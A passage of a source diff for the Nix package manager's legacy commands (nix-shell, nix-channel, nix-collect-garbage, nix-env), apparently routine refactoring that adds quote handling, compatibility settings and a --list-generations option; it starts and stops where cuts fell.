"parsed-derivations.hh" #include "store-api.hh" #include "local-fs-store.hh" #include "globals.hh" +#include "realisation.hh" #include "derivations.hh" -#include "util.hh" #include "shared.hh" #include "path-with-outputs.hh" #include "eval.hh" @@ -23,6 +24,9 @@ #include "common-eval-args.hh" #include "attr-path.hh" #include "legacy.hh" +#include "users.hh" +#include "network-proxy.hh" +#include "compatibility-settings.hh" using namespace nix; using namespace std::string_literals; @@ -34,13 +38,14 @@ extern char * * environ __attribute__((weak)); */ static std::vector shellwords(const std::string & s) { - std::regex whitespace("^(\\s+).*"); + std::regex whitespace("^\\s+"); auto begin = s.cbegin(); std::vector res; std::string cur; enum state { sBegin, - sQuote + sSingleQuote, + sDoubleQuote }; state st = sBegin; auto it = begin; @@ -50,48 +55,86 @@ static std::vector shellwords(const std::string & s) if (regex_search(it, s.cend(), match, whitespace)) { cur.append(begin, it); res.push_back(cur); - cur.clear(); - it = match[1].second; + it = match[0].second; + if (it == s.cend()) return res; begin = it; + cur.clear(); } } switch (*it) { + case '\'': + if (st != sDoubleQuote) { + cur.append(begin, it); + begin = it + 1; + st = st == sBegin ? sSingleQuote : sBegin; + } + break; case '"': - cur.append(begin, it); - begin = it + 1; - st = st == sBegin ? sQuote : sBegin; + if (st != sSingleQuote) { + cur.append(begin, it); + begin = it + 1; + st = st == sBegin ? sDoubleQuote : sBegin; + } break; case '\\': - /* perl shellwords mostly just treats the next char as part of the string with no special processing */ - cur.append(begin, it); - begin = ++it; + if (st != sSingleQuote) { + /* perl shellwords mostly just treats the next char as part of the string with no special processing */ + cur.append(begin, it); + begin = ++it; + } break; } } + if (st != sBegin) throw Error("unterminated quote in shebang line"); cur.append(begin, it); - if (!cur.empty()) res.push_back(cur); + res.push_back(cur); return res; } +/** + * Like `resolveExprPath`, but prefers `shell.nix` instead of `default.nix`, + * and if `path` was a directory, it checks eagerly whether `shell.nix` or + * `default.nix` exist, throwing an error if they don't. + */ +static SourcePath resolveShellExprPath(SourcePath path) +{ + auto resolvedOrDir = resolveExprPath(path, false); + if (resolvedOrDir.resolveSymlinks().lstat().type == SourceAccessor::tDirectory) { + if ((resolvedOrDir / "shell.nix").pathExists()) { + if (compatibilitySettings.nixShellAlwaysLooksForShellNix) { + return resolvedOrDir / "shell.nix"; + } else { + warn("Skipping '%1%', because the setting '%2%' is disabled. This is a deprecated behavior. Consider enabling '%2%'.", + resolvedOrDir / "shell.nix", + "nix-shell-always-looks-for-shell-nix"); + } + } + if ((resolvedOrDir / "default.nix").pathExists()) { + return resolvedOrDir / "default.nix"; + } + throw Error("neither '%s' nor '%s' found in '%s'", "shell.nix", "default.nix", resolvedOrDir); + } + return resolvedOrDir; +} + static void main_nix_build(int argc, char * * argv) { auto dryRun = false; - auto runEnv = std::regex_search(argv[0], std::regex("nix-shell$")); + auto isNixShell = std::regex_search(argv[0], std::regex("nix-shell$")); auto pure = false; auto fromArgs = false; auto packages = false; // Same condition as bash uses for interactive shells auto interactive = isatty(STDIN_FILENO) && isatty(STDERR_FILENO); Strings attrPaths; - Strings left; - RepairFlag repair = NoRepair; + Strings remainingArgs; BuildMode buildMode = bmNormal; bool readStdin = false; std::string envCommand; // interactive shell Strings envExclude; - auto myName = runEnv ? "nix-shell" : "nix-build"; + auto myName = isNixShell ? "nix-shell" : "nix-build"; auto inShebang = false; std::string script; @@ -106,8 +149,8 @@ static void main_nix_build(int argc, char * * argv) "HOME", "XDG_RUNTIME_DIR", "USER", "LOGNAME", "DISPLAY", "WAYLAND_DISPLAY", "WAYLAND_SOCKET", "PATH", "TERM", "IN_NIX_SHELL", "NIX_SHELL_PRESERVE_PROMPT", "TZ", "PAGER", "NIX_BUILD_SHELL", "SHLVL", - "http_proxy", "https_proxy", "ftp_proxy", "all_proxy", "no_proxy" }; + keepVars.insert(networkProxyVariables.begin(), networkProxyVariables.end()); Strings args; for (int i = 1; i < argc; ++i) @@ -116,11 +159,11 @@ static void main_nix_build(int argc, char * * argv) // Heuristic to see if we're invoked as a shebang script, namely, // if we have at least one argument, it's the name of an // executable file, and it starts with "#!". - if (runEnv && argc > 1) { + if (isNixShell && argc > 1) { script = argv[1]; try { auto lines = tokenizeString(readFile(script), "\n"); - if (std::regex_search(lines.front(), std::regex("^#!"))) { + if (!lines.empty() && std::regex_search(lines.front(), std::regex("^#!"))) { lines.pop_front(); inShebang = true; for (int i = 2; i < argc; ++i) @@ -129,17 +172,20 @@ static void main_nix_build(int argc, char * * argv) for (auto line : lines) { line = chomp(line); std::smatch match; - if (std::regex_match(line, match, std::regex("^#!\\s*nix-shell (.*)$"))) + if (std::regex_match(line, match, std::regex("^#!\\s*nix-shell\\s+(.*)$"))) for (const auto & word : shellwords(match[1].str())) args.push_back(word); } } - } catch (SysError &) { } + } catch (SystemError &) { } } struct MyArgs : LegacyArgs, MixEvalArgs { using LegacyArgs::LegacyArgs; + void setBaseDir(Path baseDir) { + commandBaseDir = baseDir; + } }; MyArgs myArgs(myName, [&](Strings::iterator & arg, const Strings::iterator & end) { @@ -155,7 +201,7 @@ static void main_nix_build(int argc, char * * argv) ; // obsolete else if (*arg == "--no-out-link" || *arg == "--no-link") - outLink = (Path) tmpDir + "/result"; + outLink = (tmpDir.path() / "result").string(); else if (*arg == "--attr" || *arg == "-A") attrPaths.push_back(getArg(*arg, arg, end)); @@ -169,15 +215,10 @@ static void main_nix_build(int argc, char * * argv) else if (*arg == "--dry-run") dryRun = true; - else if (*arg == "--repair") { - repair = Repair; - buildMode = bmRepair; - } - else if (*arg == "--run-env") // obsolete - runEnv = true; + isNixShell = true; - else if (runEnv && (*arg == "--command" || *arg == "--run")) { + else if (isNixShell && (*arg == "--command" || *arg == "--run")) { if (*arg == "--run") interactive = false; envCommand = getArg(*arg, arg, end) + "\nexit"; @@ -195,7 +236,7 @@ static void main_nix_build(int argc, char * * argv) else if (*arg == "--pure") pure = true; else if (*arg == "--impure") pure = false; - else if (runEnv && (*arg == "--packages" || *arg == "-p")) + else if (isNixShell && (*arg == "--packages" || *arg == "-p")) packages = true; else if (inShebang && *arg == "-i") { @@ -219,9 +260,9 @@ static void main_nix_build(int argc, char * * argv) // read the shebang to understand which packages to read from. Since // this is handled via nix-shell -p, we wrap our ruby script execution // in ruby -e 'load' which ignores the shebangs. - envCommand = (format("exec %1% %2% -e 'load(ARGV.shift)' -- %3% %4%") % execArgs % interpreter % shellEscape(script) % joined.str()).str(); + envCommand = fmt("exec %1% %2% -e 'load(ARGV.shift)' -- %3% %4%", execArgs, interpreter, shellEscape(script), joined.str()); } else { - envCommand = (format("exec %1% %2% %3% %4%") % execArgs % interpreter % shellEscape(script) % joined.str()).str(); + envCommand = fmt("exec %1% %2% %3% %4%", execArgs, interpreter, shellEscape(script), joined.str()); } } @@ -235,7 +276,7 @@ static void main_nix_build(int argc, char * * argv) return false; else - left.push_back(*arg); + remainingArgs.push_back(*arg); return true; }); @@ -248,13 +289,17 @@ static void main_nix_build(int argc, char * * argv) auto store = openStore(); auto evalStore = myArgs.evalStoreUrl ? openStore(*myArgs.evalStoreUrl) : store; - auto state = std::make_unique(myArgs.searchPath, evalStore, store); - state->repair = repair; + auto state = std::make_unique(myArgs.lookupPath, evalStore, fetchSettings, evalSettings, store); + state->repair = myArgs.repair; + if (myArgs.repair) buildMode = bmRepair; + if (inShebang && compatibilitySettings.nixShellShebangArgumentsRelativeToScript) { + myArgs.setBaseDir(absPath(dirOf(script))); + } auto autoArgs = myArgs.getAutoArgs(*state); auto autoArgsWithInNixShell = autoArgs; - if (runEnv) { + if (isNixShell) { auto newArgs = state->buildBindings(autoArgsWithInNixShell->size() + 1); newArgs.alloc("inNixShell").mkBool(true); for (auto & i : *autoArgs) newArgs.insert(i); @@ -264,22 +309,29 @@ static void main_nix_build(int argc, char * * argv) if (packages) { std::ostringstream joined; joined << "{...}@args: with import args; (pkgs.runCommandCC or pkgs.runCommand) \"shell\" { buildInputs = [ "; - for (const auto & i : left) + for (const auto & i : remainingArgs) joined << '(' << i << ") "; joined << "]; } \"\""; fromArgs = true; - left = {joined.str()}; - } else if (!fromArgs) { - if (left.empty() && runEnv && pathExists("shell.nix")) - left = {"shell.nix"}; - if (left.empty()) - left = {"default.nix"}; + remainingArgs = {joined.str()}; + } else if (!fromArgs && remainingArgs.empty()) { + if (isNixShell && !compatibilitySettings.nixShellAlwaysLooksForShellNix && std::filesystem::exists("shell.nix")) { + // If we're in 2.3 compatibility mode, we need to look for shell.nix + // now, because it won't be done later. + remainingArgs = {"shell.nix"}; + } else { + remainingArgs = {"."}; + + // Instead of letting it throw later, we throw here to give a more relevant error message + if (isNixShell && !std::filesystem::exists("shell.nix") && !std::filesystem::exists("default.nix")) + throw Error("no argument specified and no '%s' or '%s' file found in the working directory", "shell.nix", "default.nix"); + } } - if (runEnv) - setenv("IN_NIX_SHELL", pure ? "pure" : "impure", 1); + if (isNixShell) + setEnv("IN_NIX_SHELL", pure ? "pure" : "impure"); - DrvInfos drvs; + PackageInfos drvs; /* Parse the expressions. */ std::vector exprs; @@ -287,9 +339,14 @@ static void main_nix_build(int argc, char * * argv) if (readStdin) exprs = {state->parseStdin()}; else - for (auto i : left) { + for (auto i : remainingArgs) { + auto baseDir = inShebang && !packages ? absPath(dirOf(script)) : i; + if (fromArgs) - exprs.push_back(state->parseExprFromString(std::move(i), absPath("."))); + exprs.push_back(state->parseExprFromString( + std::move(i), + (inShebang && compatibilitySettings.nixShellShebangArgumentsRelativeToScript) ? lookupFileArg(*state, baseDir) : state->rootPath(".") + )); else { auto absolute = i; try { @@ -297,12 +354,19 @@ static void main_nix_build(int argc, char * * argv) } catch (Error & e) {}; auto [path, outputNames] = parsePathWithOutputs(absolute); if (evalStore->isStorePath(path) && hasSuffix(path, ".drv")) - drvs.push_back(DrvInfo(*state, evalStore, absolute)); - else + drvs.push_back(PackageInfo(*state, evalStore, absolute)); + else { /* If we're in a #! script, interpret filenames relative to the script. */ - exprs.push_back(state->parseExprFromFile(resolveExprPath(state->checkSourcePath(lookupFileArg(*state, - inShebang && !packages ? absPath(i, absPath(dirOf(script))) : i))))); + auto baseDir = inShebang && !packages ? absPath(i, absPath(dirOf(script))) : i; + + auto sourcePath = lookupFileArg(*state, + baseDir); + auto resolvedPath = + isNixShell ? resolveShellExprPath(sourcePath) : resolveExprPath(sourcePath); + + exprs.push_back(state->parseExprFromFile(resolvedPath)); + } } } @@ -315,12 +379,12 @@ static void main_nix_build(int argc, char * * argv) std::function takesNixShellAttr; takesNixShellAttr = [&](const Value & v) { - if (!runEnv) { + if (!isNixShell) { return false; } bool add = false; - if (v.type() == nFunction && v.lambda.fun->hasFormals()) { - for (auto & i : v.lambda.fun->formals->formals) { + if (v.type() == nFunction && v.payload.lambda.fun->hasFormals()) { + for (auto & i : v.payload.lambda.fun->formals->formals) { if (state->symbols[i.name] == "inNixShell") { add = true; break; @@ -337,7 +401,7 @@ static void main_nix_build(int argc, char * * argv) takesNixShellAttr(vRoot) ? *autoArgsWithInNixShell : *autoArgs, vRoot ).first); - state->forceValue(v, [&]() { return v.determinePos(noPos); }); + state->forceValue(v, v.determinePos(noPos)); getDerivations( *state, v, @@ -349,7 +413,7 @@ static void main_nix_build(int argc, char * * argv) } } - state->printStats(); + state->maybePrintStats(); auto buildPaths = [&](const std::vector & paths) { /* Note: we do this even when !printMissing to efficiently @@ -366,12 +430,12 @@ static void main_nix_build(int argc, char * * argv) store->buildPaths(paths, buildMode, evalStore); }; - if (runEnv) { + if (isNixShell) { if (drvs.size() != 1) throw UsageError("nix-shell requires a single derivation"); - auto & drvInfo = drvs.front(); - auto drv = evalStore->derivationFromPath(drvInfo.requireDrvPath()); + auto & packageInfo = drvs.front(); + auto drv = evalStore->derivationFromPath(packageInfo.requireDrvPath()); std::vector pathsToBuild; RealisedPath::Set pathsToCopy; @@ -385,7 +449,9 @@ static void main_nix_build(int argc, char * * argv) if (!shell) { try { - auto expr = state->parseExprFromString("(import {}).bashInteractive", absPath(".")); + auto expr = state->parseExprFromString( + "(import {}).bashInteractive", + state->rootPath(".")); Value v; state->eval(expr, v); @@ -396,8 +462,8 @@ static void main_nix_build(int argc, char * * argv) auto bashDrv = drv->requireDrvPath(); pathsToBuild.push_back(DerivedPath::Built { - .drvPath = bashDrv, - .outputs = {"out"}, + .drvPath = makeConstantStorePathRef(bashDrv), + .outputs = OutputsSpec::Names {"out"}, }); pathsToCopy.insert(bashDrv); shellDrv = bashDrv; @@ -409,8 +475,22 @@ static void main_nix_build(int argc, char * * argv) } } + std::function, const DerivedPathMap::ChildNode &)> accumDerivedPath; + + accumDerivedPath = [&](ref inputDrv, const DerivedPathMap::ChildNode & inputNode) { + if (!inputNode.value.empty()) + pathsToBuild.push_back(DerivedPath::Built { + .drvPath = inputDrv, + .outputs = OutputsSpec::Names { inputNode.value }, + }); + for (const auto & [outputName, childNode] : inputNode.childMap) + accumDerivedPath( + make_ref(SingleDerivedPath::Built { inputDrv, outputName }), + childNode); + }; + // Build or fetch all dependencies of the derivation. - for (const auto & [inputDrv0, inputOutputs] : drv.inputDrvs) { + for (const auto & [inputDrv0, inputNode] : drv.inputDrvs.map) { // To get around lambda capturing restrictions in the // standard. const auto & inputDrv = inputDrv0; @@ -419,15 +499,12 @@ static void main_nix_build(int argc, char * * argv) return !std::regex_search(store->printStorePath(inputDrv), std::regex(exclude)); })) { - pathsToBuild.push_back(DerivedPath::Built { - .drvPath = inputDrv, - .outputs = inputOutputs - }); + accumDerivedPath(makeConstantStorePathRef(inputDrv), inputNode); pathsToCopy.insert(inputDrv); } } for (const auto & src : drv.inputSrcs) { - pathsToBuild.push_back(DerivedPath::Opaque{src}); + pathsToBuild.emplace_back(DerivedPath::Opaque{src}); pathsToCopy.insert(src); } @@ -436,11 +513,11 @@ static void main_nix_build(int argc, char * * argv) if (dryRun) return; if (shellDrv) { - auto shellDrvOutputs = store->queryPartialDerivationOutputMap(shellDrv.value()); + auto shellDrvOutputs = store->queryPartialDerivationOutputMap(shellDrv.value(), &*evalStore); shell = store->printStorePath(shellDrvOutputs.at("out").value()) + "/bin/bash"; } - if (settings.isExperimentalFeatureEnabled(Xp::CaDerivations)) { + if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) { auto resolvedDrv = drv.tryResolve(*store); assert(resolvedDrv && "Successfully resolved the derivation"); drv = *resolvedDrv; @@ -449,8 +526,7 @@ static void main_nix_build(int argc, char * * argv) // Set the environment. auto env = getEnv(); - auto tmp = getEnv("TMPDIR"); - if (!tmp) tmp = getEnv("XDG_RUNTIME_DIR").value_or("/tmp"); + auto tmp = getEnvNonEmpty("TMPDIR").value_or("/tmp"); if (pure) { decltype(env) newEnv; @@ -462,7 +538,7 @@ static void main_nix_build(int argc, char * * argv) env["__ETC_PROFILE_SOURCED"] = "1"; } - env["NIX_BUILD_TOP"] = env["TMPDIR"] = env["TEMPDIR"] = env["TMP"] = env["TEMP"] = *tmp; + env["NIX_BUILD_TOP"] = env["TMPDIR"] = env["TEMPDIR"] = env["TMP"] = env["TEMP"] = tmp; env["NIX_STORE"] = store->storeDir; env["NIX_BUILD_CORES"] = std::to_string(settings.buildCores); @@ -475,7 +551,7 @@ static void main_nix_build(int argc, char * * argv) if (passAsFile.count(var.first)) { keepTmp = true; auto fn = ".attr-" + std::to_string(fileNr++); - Path p = (Path) tmpDir + "/" + fn; + Path p = (tmpDir.path() / fn).string(); writeFile(p, var.second); env[var.first + "Path"] = p; } else @@ -485,24 +561,32 @@ static void main_nix_build(int argc, char * * argv) if (env.count("__json")) { StorePathSet inputs; - for (auto & [depDrvPath, wantedDepOutputs] : drv.inputDrvs) { - auto outputs = evalStore->queryPartialDerivationOutputMap(depDrvPath); - for (auto & i : wantedDepOutputs) { + + std::function::ChildNode &)> accumInputClosure; + + accumInputClosure = [&](const StorePath & inputDrv, const DerivedPathMap::ChildNode & inputNode) { + auto outputs = store->queryPartialDerivationOutputMap(inputDrv, &*evalStore); + for (auto & i : inputNode.value) { auto o = outputs.at(i); store->computeFSClosure(*o, inputs); } - } + for (const auto & [outputName, childNode] : inputNode.childMap) + accumInputClosure(*outputs.at(outputName), childNode); + }; - ParsedDerivation parsedDrv(drvInfo.requireDrvPath(), drv); + for (const auto & [inputDrv, inputNode] : drv.inputDrvs.map) + accumInputClosure(inputDrv, inputNode); + + ParsedDerivation parsedDrv(packageInfo.requireDrvPath(), drv); if (auto structAttrs = parsedDrv.prepareStructuredAttrs(*store, inputs)) { auto json = structAttrs.value(); structuredAttrsRC = writeStructuredAttrsShell(json); - auto attrsJSON = (Path) tmpDir + "/.attrs.json"; + auto attrsJSON = (tmpDir.path() / ".attrs.json").string(); writeFile(attrsJSON, json.dump()); - auto attrsSH = (Path) tmpDir + "/.attrs.sh"; + auto attrsSH = (tmpDir.path() / ".attrs.sh").string(); writeFile(attrsSH, structuredAttrsRC); env["NIX_ATTRS_SH_FILE"] = attrsSH; @@ -515,7 +599,7 @@ static void main_nix_build(int argc, char * * argv) convenience, source $stdenv/setup to setup additional environment variables and shell functions. Also don't lose the current $PATH directories. */ - auto rcfile = (Path) tmpDir + "/rc"; + auto rcfile = (tmpDir.path() / "rc").string(); std::string rc = fmt( R"(_nix_shell_clean_tmpdir() { command rm -rf %1%; }; )"s + (keepTmp ? @@ -536,14 +620,17 @@ static void main_nix_build(int argc, char * * argv) "SHELL=%5%; " "BASH=%5%; " "set +e; " - R"s([ -n "$PS1" -a -z "$NIX_SHELL_PRESERVE_PROMPT" ] && PS1='\n\[\033[1;32m\][nix-shell:\w]\$\[\033[0m\] '; )s" + R"s([ -n "$PS1" -a -z "$NIX_SHELL_PRESERVE_PROMPT" ] && )s" + + (isRootUser() + ? R"s(PS1='\n\[\033[1;31m\][nix-shell:\w]\$\[\033[0m\] '; )s" + : R"s(PS1='\n\[\033[1;32m\][nix-shell:\w]\$\[\033[0m\] '; )s") + "if [ \"$(type -t runHook)\" = function ]; then runHook shellHook; fi; " "unset NIX_ENFORCE_PURITY; " "shopt -u nullglob; " "unset TZ; %6%" "shopt -s execfail;" "%7%", - shellEscape(tmpDir), + shellEscape(tmpDir.path().string()), (pure ? "" : "p=$PATH; "), (pure ? "" : "PATH=$PATH:$p; unset p; "), shellEscape(dirOf(*shell)), @@ -584,14 +671,17 @@ static void main_nix_build(int argc, char * * argv) std::map> drvMap; - for (auto & drvInfo : drvs) { - auto drvPath = drvInfo.requireDrvPath(); + for (auto & packageInfo : drvs) { + auto drvPath = packageInfo.requireDrvPath(); - auto outputName = drvInfo.queryOutputName(); + auto outputName = packageInfo.queryOutputName(); if (outputName == "") throw Error("derivation '%s' lacks an 'outputName' attribute", store->printStorePath(drvPath)); - pathsToBuild.push_back(DerivedPath::Built{drvPath, {outputName}}); + pathsToBuild.push_back(DerivedPath::Built{ + .drvPath = makeConstantStorePathRef(drvPath), + .outputs = OutputsSpec::Names{outputName}, + }); pathsToBuildOrdered.push_back({drvPath, {outputName}}); drvsToCopy.insert(drvPath); @@ -614,7 +704,7 @@ static void main_nix_build(int argc, char * * argv) if (counter) drvPrefix += fmt("-%d", counter + 1); - auto builtOutputs = evalStore->queryPartialDerivationOutputMap(drvPath); + auto builtOutputs = store->queryPartialDerivationOutputMap(drvPath, &*evalStore); auto maybeOutputPath = builtOutputs.at(outputName); assert(maybeOutputPath); diff --git a/src/nix-channel/nix-channel.cc b/src/nix-channel/nix-channel.cc old mode 100755 new mode 100644 index cf52b03b4..56d1d7abb --- a/src/nix-channel/nix-channel.cc +++ b/src/nix-channel/nix-channel.cc @@ -1,9 +1,13 @@ +#include "profiles.hh" #include "shared.hh" #include "globals.hh" #include "filetransfer.hh" #include "store-api.hh" #include "legacy.hh" -#include "fetchers.hh" +#include "eval-settings.hh" // for defexpr +#include "users.hh" +#include "tarball.hh" +#include "self-exe.hh" #include #include @@ -14,7 +18,7 @@ using namespace nix; typedef std::map Channels; static Channels channels; -static Path channelsList; +static std::filesystem::path channelsList; // Reads the list of channels. static void readChannels() @@ -38,7 +42,7 @@ static void writeChannels() { auto channelsFD = AutoCloseFD{open(channelsList.c_str(), O_WRONLY | O_CLOEXEC | O_CREAT | O_TRUNC, 0644)}; if (!channelsFD) - throw SysError("opening '%1%' for writing", channelsList); + throw SysError("opening '%1%' for writing", channelsList.string()); for (const auto & channel : channels) writeFull(channelsFD.get(), channel.second + " " + channel.first + "\n"); } @@ -64,7 +68,7 @@ static void removeChannel(const std::string & name) channels.erase(name); writeChannels(); - runProgram(settings.nixBinDir + "/nix-env", true, { "--profile", profile, "--uninstall", name }); + runProgram(getNixBin("nix-env").string(), true, { "--profile", profile, "--uninstall", name }); } static Path nixDefExpr; @@ -109,13 +113,13 @@ static void update(const StringSet & channelNames) // We want to download the url to a file to see if it's a tarball while also checking if we // got redirected in the process, so that we can grab the various parts of a nix channel // definition from a consistent location if the redirect changes mid-download. - auto result = fetchers::downloadFile(store, url, std::string(baseNameOf(url)), false); + auto result = fetchers::downloadFile(store, url, std::string(baseNameOf(url))); auto filename = store->toRealPath(result.storePath); url = result.effectiveUrl; bool unpacked = false; if (std::regex_search(filename, std::regex("\\.tar\\.(gz|bz2|xz)$"))) { - runProgram(settings.nixBinDir + "/nix-build", false, { "--no-out-link", "--expr", "import " + unpackChannelPath + + runProgram(getNixBin("nix-build").string(), false, { "--no-out-link", "--expr", "import " + unpackChannelPath + "{ name = \"" + cname + "\"; channelName = \"" + name + "\"; src = builtins.storePath \"" + filename + "\"; }" }); unpacked = true; } @@ -123,9 +127,9 @@ static void update(const StringSet & channelNames) if (!unpacked) { // Download the channel tarball. try { - filename = store->toRealPath(fetchers::downloadFile(store, url + "/nixexprs.tar.xz", "nixexprs.tar.xz", false).storePath); + filename = store->toRealPath(fetchers::downloadFile(store, url + "/nixexprs.tar.xz", "nixexprs.tar.xz").storePath); } catch (FileTransferError & e) { - filename = store->toRealPath(fetchers::downloadFile(store, url + "/nixexprs.tar.bz2", "nixexprs.tar.bz2", false).storePath); + filename = store->toRealPath(fetchers::downloadFile(store, url + "/nixexprs.tar.bz2", "nixexprs.tar.bz2").storePath); } } // Regardless of where it came from, add the expression representing this channel to accumulated expression @@ -135,12 +139,12 @@ static void update(const StringSet & channelNames) // Unpack the channel tarballs into the Nix store and install them // into the channels profile. - std::cerr << "unpacking channels...\n"; + std::cerr << "unpacking " << exprs.size() << " channels...\n"; Strings envArgs{ "--profile", profile, "--file", unpackChannelPath, "--install", "--remove-all", "--from-expression" }; for (auto & expr : exprs) envArgs.push_back(std::move(expr)); envArgs.push_back("--quiet"); - runProgram(settings.nixBinDir + "/nix-env", false, envArgs); + runProgram(getNixBin("nix-env").string(), false, envArgs); // Make the channels appear in nix-env. struct stat st; @@ -162,11 +166,12 @@ static int main_nix_channel(int argc, char ** argv) { // Figure out the name of the `.nix-channels' file to use auto home = getHome(); - channelsList = home + "/.nix-channels"; - nixDefExpr = home + "/.nix-defexpr"; + channelsList = settings.useXDGBaseDirectories ? createNixStateDir() + "/channels" : home + "/.nix-channels"; + nixDefExpr = getNixDefExpr(); // Figure out the name of the channels profile. - profile = fmt("%s/profiles/per-user/%s/channels", settings.nixStateDir, getUserName()); + profile = profilesDir() + "/channels"; + createDirs(dirOf(profile)); enum { cNone, @@ -174,6 +179,7 @@ static int main_nix_channel(int argc, char ** argv) cRemove, cList, cUpdate, + cListGenerations, cRollback } cmd = cNone; std::vector args; @@ -190,6 +196,8 @@ static int main_nix_channel(int argc, char ** argv) cmd = cList; } else if (*arg == "--update") { cmd = cUpdate; + } else if (*arg == "--list-generations") { + cmd = cListGenerations; } else if (*arg == "--rollback") { cmd = cRollback; } else { @@ -234,6 +242,11 @@ static int main_nix_channel(int argc, char ** argv) case cUpdate: update(StringSet(args.begin(), args.end())); break; + case cListGenerations: + if (!args.empty()) + throw UsageError("'--list-generations' expects no arguments"); + std::cout << runProgram(getNixBin("nix-env").string(), false, {"--profile", profile, "--list-generations"}) << std::flush; + break; case cRollback: if (args.size() > 1) throw UsageError("'--rollback' has at most one argument"); @@ -244,7 +257,7 @@ static int main_nix_channel(int argc, char ** argv) } else { envArgs.push_back("--rollback"); } - runProgram(settings.nixBinDir + "/nix-env", false, envArgs); + runProgram(getNixBin("nix-env").string(), false, envArgs); break; } diff --git a/src/nix-collect-garbage/nix-collect-garbage.cc b/src/nix-collect-garbage/nix-collect-garbage.cc index e413faffe..457e5f3c9 100644 --- a/src/nix-collect-garbage/nix-collect-garbage.cc +++ b/src/nix-collect-garbage/nix-collect-garbage.cc @@ -1,3 +1,5 @@ +#include "file-system.hh" +#include "signals.hh" #include "store-api.hh" #include "store-cast.hh" #include "gc-store.hh" @@ -19,34 +21,35 @@ bool dryRun = false; * Of course, this makes rollbacks to before this point in time * impossible. */ -void removeOldGenerations(std::string dir) +void removeOldGenerations(std::filesystem::path dir) { - if (access(dir.c_str(), R_OK) != 0) return; + if (access(dir.string().c_str(), R_OK) != 0) return; - bool canWrite = access(dir.c_str(), W_OK) == 0; + bool canWrite = access(dir.string().c_str(), W_OK) == 0; - for (auto & i : readDirectory(dir)) { + for (auto & i : std::filesystem::directory_iterator{dir}) { checkInterrupt(); - auto path = dir + "/" + i.name; - auto type = i.type == DT_UNKNOWN ? getFileType(path) : i.type; + auto path = i.path().string(); + auto type = i.symlink_status().type(); - if (type == DT_LNK && canWrite) { + if (type == std::filesystem::file_type::symlink && canWrite) { std::string link; try { link = readLink(path); - } catch (SysError & e) { - if (e.errNo == ENOENT) continue; + } catch (std::filesystem::filesystem_error & e) { + if (e.code() == std::errc::no_such_file_or_directory) continue; throw; } if (link.find("link") != std::string::npos) { - printInfo(format("removing old generations of profile %1%") % path); - if (deleteOlderThan != "") - deleteGenerationsOlderThan(path, deleteOlderThan, dryRun); - else + printInfo("removing old generations of profile %s", path); + if (deleteOlderThan != "") { + auto t = parseOlderThanTimeSpec(deleteOlderThan); + deleteGenerationsOlderThan(path, t, dryRun); + } else deleteOldGenerations(path, dryRun); } - } else if (type == DT_DIR) { + } else if (type == std::filesystem::file_type::directory) { removeOldGenerations(path); } } @@ -77,8 +80,12 @@ static int main_nix_collect_garbage(int argc, char * * argv) return true; }); - auto profilesDir = settings.nixStateDir + "/profiles"; - if (removeOld) removeOldGenerations(profilesDir); + if (removeOld) { + std::set dirsToClean = { + profilesDir(), settings.nixStateDir + "/profiles", dirOf(getDefaultProfile())}; + for (auto & dir : dirsToClean) + removeOldGenerations(dir); + } // Run the actual garbage collector. if (!dryRun) { diff --git a/src/nix-copy-closure/nix-copy-closure.cc b/src/nix-copy-closure/nix-copy-closure.cc old mode 100755 new mode 100644 index 841d50fd3..b64af758f --- a/src/nix-copy-closure/nix-copy-closure.cc +++ b/src/nix-copy-closure/nix-copy-closure.cc @@ -1,4 +1,5 @@ #include "shared.hh" +#include "realisation.hh" #include "store-api.hh" #include "legacy.hh" @@ -22,7 +23,7 @@ static int main_nix_copy_closure(int argc, char ** argv) printVersion("nix-copy-closure"); else if (*arg == "--gzip" || *arg == "--bzip2" || *arg == "--xz") { if (*arg != "--gzip") - printMsg(lvlError, format("Warning: '%1%' is not implemented, falling back to gzip") % *arg); + warn("'%1%' is not implemented, falling back to gzip", *arg); gzip = true; } else if (*arg == "--from") toMode = false; diff --git a/src/nix-env/nix-env.cc b/src/nix-env/nix-env.cc index 31823a966..ba2baccee 100644 --- a/src/nix-env/nix-env.cc +++ b/src/nix-env/nix-env.cc @@ -1,3 +1,4 @@ +#include "users.hh" #include "attr-path.hh" #include "common-eval-args.hh" #include "derivations.hh" @@ -11,10 +12,11 @@ #include "store-api.hh" #include "local-fs-store.hh" #include "user-env.hh" -#include "util.hh" #include "value-to-json.hh" #include "xml-writer.hh" #include "legacy.hh" +#include "eval-settings.hh" // for defexpr +#include "terminal.hh" #include #include @@ -44,7 +46,7 @@ typedef enum { struct InstallSourceInfo { InstallSourceType type; - Path nixExprPath; /* for srcNixExprDrvs, srcNixExprs */ + std::shared_ptr nixExprPath; /* for srcNixExprDrvs, srcNixExprs */ Path profile; /* for srcProfile */ std::string systemFilter; /* for srcNixExprDrvs */ Bindings * autoArgs; @@ -92,9 +94,11 @@ static bool parseInstallSourceOptions(Globals & globals, } -static bool isNixExpr(const Path & path, struct stat & st) +static bool isNixExpr(const SourcePath & path, struct SourceAccessor::Stat & st) { - return S_ISREG(st.st_mode) || (S_ISDIR(st.st_mode) && pathExists(path + "/default.nix")); + return + st.type == SourceAccessor::tRegular + || (st.type == SourceAccessor::tDirectory && (path / "default.nix").resolveSymlinks().pathExists()); } @@ -102,10 +106,10 @@ static constexpr size_t maxAttrs = 1024; static void getAllExprs(EvalState & state, - const Path & path, StringSet & seen, BindingsBuilder & attrs) + const SourcePath & path, StringSet & seen, BindingsBuilder & attrs) { StringSet namesSorted; - for (auto & i : readDirectory(path)) namesSorted.insert(i.name); + for (auto & [name, _] : path.resolveSymlinks().readDirectory()) namesSorted.insert(name); for (auto & i : namesSorted) { /* Ignore the manifest.nix used by profiles. This is @@ -113,13 +117,16 @@ static void getAllExprs(EvalState & state, are implemented using profiles). */ if (i == "manifest.nix") continue; - Path path2 = path + "/" + i; + auto path2 = (path / i).resolveSymlinks(); - struct stat st; - if (stat(path2.c_str(), &st) == -1) + SourceAccessor::Stat st; + try { + st = path2.lstat(); + } catch (Error &) { continue; // ignore dangling symlinks in ~/.nix-defexpr + } - if (isNixExpr(path2, st) && (!S_ISREG(st.st_mode) || hasSuffix(path2, ".nix"))) { + if (isNixExpr(path2, st) && (st.type != SourceAccessor::tRegular || hasSuffix(path2.baseName(), ".nix"))) { /* Strip off the `.nix' filename suffix (if applicable), otherwise the attribute cannot be selected with the `-A' option. Useful if you want to stick a Nix @@ -129,21 +136,20 @@ static void getAllExprs(EvalState & state, attrName = std::string(attrName, 